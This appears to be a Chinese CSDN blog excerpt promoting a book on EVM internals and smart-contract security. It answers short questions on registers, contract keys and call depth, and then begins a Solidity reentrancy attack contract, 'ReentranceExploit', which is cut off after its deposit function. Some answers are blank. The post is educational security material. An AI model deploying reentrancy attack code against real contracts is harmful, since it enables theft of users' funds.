关于EVM 和 solidity语言一些内部机制的研究

本文探讨EVM的工作机制,包括合约地址无私钥、值参和返回值传递方式、调用限制及fallback实现。此外,还讲解了合约storage的存储布局和不同调用方式。关注合约安全,解析了重入攻击示例。

以下都是来自我的新作《解密EVM机制及合约安全漏洞》里的内容

电子版PDF下载:https://download.csdn.net/download/softgmx/10800947

 

 

1.EVM有寄存器吗?

答:没有

2.智能合约地址有私钥吗?

答:没有

3.合约调用是怎样传参的?以及返回值又怎样传递的?

答:

值参传递:

        

          返回值传递:

         

4.合约最大嵌套调用层数限制是多少?

答:目前定义1024层

5.合约的fallback机制是怎样实现的?

答:

contract ReentranceExploit {

    bool public  attackModeIsOn=false;

    address public  vulnerable_contract;

    address public  owner;

    uint  balance;

    function ReentranceExploit()  public{

        owner = msg.sender;

    }

    function deposit(address _vulnerable_contract)  public payable{

        balance=this.balance;

        vulnerable_contract = _vulnerable_contract ;

        // call addToBalance with msg.value ethers

        require(vulnerable_contract.call.value(msg.value)(bytes4(sha3("addToBalance()"))));

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值